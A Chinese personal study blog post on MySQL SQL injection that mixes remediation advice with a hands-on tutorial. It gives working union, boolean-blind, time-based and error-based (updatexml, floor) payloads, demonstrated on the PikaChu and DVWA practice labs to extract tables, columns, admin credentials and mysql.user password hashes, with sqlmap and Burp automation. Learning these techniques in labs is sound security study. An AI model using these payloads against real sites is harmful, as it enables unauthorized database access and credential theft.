学习SQL注入时的笔记内容和简单的实操案例。跟着视频课程以及网上的资料学的,跟大家相互分享一下,不足的地方以及有补充的地方欢迎评论哈!笔记是记在有道云里面,导出来莫名其妙把之前标记的地方全统一格式了,稍微简单加粗了一点......蓝瘦~
1.SQL注入漏洞
漏洞描述:
Web 程序代码中对于用户提交的参数未做过滤就直接放到 SQL 语句中执行,导致参数中的特殊字符打破了 SQL 语句原有逻辑,黑客可以利用该漏洞执行任意 SQL 语句,如查询数据、下载数据、写入 webshell 、执行系统命令以及绕过登录限制等。
测试方法:
在发现有可控参数的地方使用 sqlmap 进行 SQL 注入的检查或者利用,也可以使用其他的 SQL 注入工具,简单点的可以手工测试,利用单引号、 and 1=1 和 and 1=2 以及字符型注入进行判断!推荐使用 burpsuite 的 sqlmap 插件,这样可以很方便,鼠标右键就可以将数据包直接发送到 sqlmap 里面进行检测了!
修复意见:
代码层最佳防御 sql 漏洞方案:采用 sql 语句预编译和绑定变量,是防御sql 注入的最佳方法。
( 1 )所有的查询语句都使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌入到 SQL 语句中。当前几乎所有的数据库系统都提供了参数化 SQL 语句执行接口,使用此接口可以非常有效的防止 SQL 注入攻击。
( 2 )对进入数据库的特殊字符( ' <>&*; 等)进行转义处理,或编码转换。
( 3 )确认每种数据的类型,比如数字型的数据就必须是数字,数据库中的存储字段必须对应为 int 型。
( 4 )数据长度应该严格规定,能在一定程度上防止比较长的 SQL 注入语句无法正确执行。
( 5 )网站每个数据层的编码统一,建议全部使用 UTF-8 编码,上下层编码不一致有可能导致一些过滤模型被绕过。
( 6 )严格限制网站用户的数据库的操作权限,给此用户提供仅仅能够满足其工作的权限,从而最大限度的减少注入攻击对数据库的危害。
( 7 )避免网站显示 SQL 错误信息,比如类型错误、字段不匹配等,防止攻击者利用这些错误信息进行一些判断。
1.1与mysql注入相关的知识
BP安装sqlmap插件
Extender--->BAPP Store--->选择CO2,然后进行install
安装完成之后,随意抓包,然后将数据包发送到SQL Mapper当中
然后我们在SQL Map当中进行sqlmap和python环境的相关配置。
到此完成所有配置。
在 mysql5 版本以后,mysql 默认在数据库中存放在一个叫 infomation_schema 里面 这个库里面有很多表 重点是这三个表 columns 、tables、SCHEMATA 表字段 CHEMA_NAME 记录着库的信息
1.2SQL注入原理
SQL注入产生需要满足的两个条件:
1.参数用户可控:从前端给后端的参数内容是用户可以控制的
2.参数代入数据库查询:传入的参数拼接到SQL语句,且带入数据库查询
当用户传入参数为 1'的时候,在数据库执行如下所示。
select * from users where id=1'
此 SQL 语句不符合语法规则就会报错。
当用户传入参数为 1 and 1=1 时【正确,返回1】
select * from users where id=1 and 1=1
因为 1=1 为真 id=1 也是真 and 两边均为真 所以页面会返回 id=1 的结果。
如果用户传入参数为 1 and 1=2 时【报错,返回0】
因为 1=2 为假 id=1 为真 and 两边有一个为假,所以页面返回与 id=1 不一样的结果。
由此可以初步判断存在 SQL 注入漏洞,攻击者可以进一步拼接 SQL 攻击语句,
进行攻击,致使信息泄露,甚至获取服务器权限。
1.3判断是否存在注入
回显是指页面有数据 信息返回
id =1 and 1=1
id = 1 and 1=2
id = 1 or 1=1
id = '1' or '1'='1'
id=" 1 "or "1"="1"
无回显是指 根据输入的语句 页面没有任何变化,或者没有数据库中的内容显示到网页中。可以使用延时的方法进行判断【例如:sleep(5)】
1.4. 三种 sql 注释符
# 单行注释 注意与 url 中的#区分,常编码为%23
--空格 单行注释 注意为短线短线空格
/*()*/ 多行注释 至少存在俩处的注入 /**/常用来作为空格
1.5. 注入流程
1.6.SQL注入分类
SQL 注入分类:按 SQLMap 中的分类来看,SQL 注入类型有以下 5 种:
UNION query SQL injection(可联合查询注入)
Stacked queries SQL injection(可多语句查询注入)堆叠查询
Boolean-based blind SQL injection(布尔型注入)
Error-based SQL injection(报错型注入)
Time-based blind SQL injection(基于时间延迟注入)
1.7.SQL注入常规利用思路
1、寻找注入点,可以通过 web 扫描工具实现
2、通过注入点,尝试获得关于连接数据库用户名、数据库名称、连接数据库用户权限、操作系统信息、数据库版本等相关信息。
3、猜解关键数据库表及其重要字段与内容(常见如存放管理员账户的表名、字段名等信息)
3.1 还可以获取数据库的 root 账号 密码—思路
4、可以通过获得的用户信息,寻找后台登录。
5、利用后台或了解的进一步信息
1.8.SQL注入详细过程
输入vince会返回相关信息,vince很显然是一串字符,那么我们尝试使用字符串闭合的方式来进行一个注入
vince" and 1=1# 失败
vince‘ and 1=1# 成功
这里是一个单引号闭合的情况,接下来咱进行字段数的判断,使用order by 语句进行判断
vince' order by 3# 报错
vince' order by 2# 正常
说明此处拥有两个字段数。欧克,接下来就是进行数据爆破的狠活了。
payload:
-asdf' union select 1,group_concat(table_name) from information_schema.tables where table_schema="pikachu"#
补充:
为什么输入"-asdf"?因为一般情况页面只显示查询到数据的那一行,如果union前面的查询语句生效,那么后面的select语句查询的内容就不会再显示了,所以我们得让前面的select查询不到数据。
1.9.union联合注入原理
关键词:union select
联合查询要确保两个select查询的字段数一致,否则会报错。
SELECT * FROM users WHERE user_id=1 union select * from 1,2,3,4,5,6,7,8
在黑盒的情况下是不知道当前库有什么表的,可以通过 mysql 自带的information_schema 查询当前库的表。
查询当前库的表 limit 1 相当于 limit 0,1 表示从0(第一个)开始,查询第一个。limit 1,1则表示从第二个开始,查询第一个。
如此类推
第一个表
(select table_name from information_schema.tables where table_schema=database() limit 1);
(select table_name from information_schema.tables where table_schema=database() limit 0,1);
第二个表
(select table_name from information_schema.tables where table_schema=database() limit 1,1);
1.10.boolean 布尔型盲注入
输入 SQL 注入检测语句 判断页面是否不一样,如果不一样大概会存在 SQL 注入漏洞 1'and '1'='1 一样 1'and '1'='2 不一样,如果输入检测语句页面没有任何改变可以使用延时语句进行检测 1'and sleep(10)--+ 函数 sleep() 在 mysql 是延时返回的意思 以秒为单位 sleep(5) 即延时5秒执行
1' and if(1=1,sleep(5),0)#
1.10.1. 布尔型盲注入获取数据库敏感信息
在黑盒的环境下,通过构造 SQL 注入语句,根据页面的特征确定获取敏感信息。
布尔型盲注入用到的函数
substring()字符串截取,第一个参数是字符串,第二个参数是开始截取 第三个是截取的长度。
select * from users where user_id=1 and if(substring(database(),1,1)='d',sleep(5),0)
接着再用 if 函数进行构造 select if(SUBSTRING(database(),1,1)='d',1,0) 判断数据库第一个字是不是字符 d,如果是返回 1 否则返回 0。后面就以此类推就好。
1.10.2.布尔型盲注入查询长度
要查询当前库名,首先确定要查询数据库的长度,再通过截取字符进行对比。【length()函数】
select length(database()) 查询当前数据库的长度
select if(length(database())>1,1,0) 判断数据库长度是否大于1,是的话返回1,不是的话返回0
1' and if(length(database())=4,sleep(5),0)#
使用布尔盲注与BP配合获取数据【Cluster boomb模式】
DVWA中的盲注题目
1.获取数据库相关的信息
payload:1' and if(substring(database(),1,1)='d',1,0)#
2.获取表的名称
payload:1'and if(substring((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 1),1,1)='g',1,0)#
添加三个变量,确保一次性跑出所有有效的表信息。
3.获取表中的字段信息
payload:
1'and if(substring((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1)='u',1,0)#
数据库查询语言:select column_name from information_schema.columns where table_schema='dvwa' and table_name='users';
4.最后获取账号和密码
payload:1'and if(substring((select CONCAT(user,0x3a,PASSWORD) from users limit 0,1),1,1)='a',1,0)#
数据库查询语言:select group_concat(user,0x3a,password) from users limit 1;
第一条数据是这个:admin:5f4dcc3b5aa765d61d8327deb882cf99
对照一下,可以的!直接爆破出来咯!
1.11.报错注入
数据库显错是指,数据库在执行时,遇到语法不对,会显示报错信息。
判断是否存在报错注入输入单引号如果报错有可能存在报错注入,如果拼接SQL 语句带入到 mysql 执行即存在报错注入。【输入单引号,页面返回报错信息】
测试语句:select (updatexml(1,concat(0x7e,(select user())),0));【在终端利用报错进行测试】
payload:' and (updatexml(1,concat(0x7e,(select database())),0))#【爆出数据库名】
但是采用 updatexml 报错函数 只能显示 32 长度的内容,如果获取的内容超过 32字符就要采用字符串截取方法。每次获取 32 个字符串的长度。除了 updatexml 函数支持报错注入外,mysql 还有很多函数支持报错。
常用的如下:
1.extractvalue()
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
1.11.1.黑盒模式下的报错注入
在黑盒模式下的报错注入 首先获取当前库,通过库获取表名,接着通过表名获取字段,最后获取字段内容。
获取账号和密码需要 root 用户才有足够大的权限
1.select authentication_string from mysql.user limit 1;【直接查询数据库密码,密码由mysql5加密】
2.select(updatexml(1,concat(0x7e,(select (select authentication_string from mysql.user limit 1 )),0x7e),1))【报错注入查询密码,由于最大32位长度,所以只能显示一部分】
补充:因为updatexml最大显示32位,该函数中包含一个0x7e,所以实际查询数据31位。
3.select(updatexml(1,concat(0x7e,(select (substring((select authentication_string from mysql.user limit 1),32,40))),0x7e),1))【接着未查询到的地方进行查询】
1.获取数据库名
' and (updatexml(1,concat(0x7e,(select database())),0))#
2.报错注入获取表名
通过 mysql 内置库 information_schema 通过构造 SQL 语句查询获取表名采用 floor 报错并不会存在长度问题
1'and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#
【标记处改成1就可以查询下一个表名】
3.获取字段信息
在获取表名之后就可以获取字段名,如获取 usrs 的字段名获取第一个字段名
1'and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name='users' LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#
BP组合拳:
Intruder——>options——>Grep-Extract
4.获取字段内容信息
现在已经获取 users 表的名字和它的字段名,接下来可以对内容进行查询。
1'and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,user,0x3a,password,0x23) FROM users limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#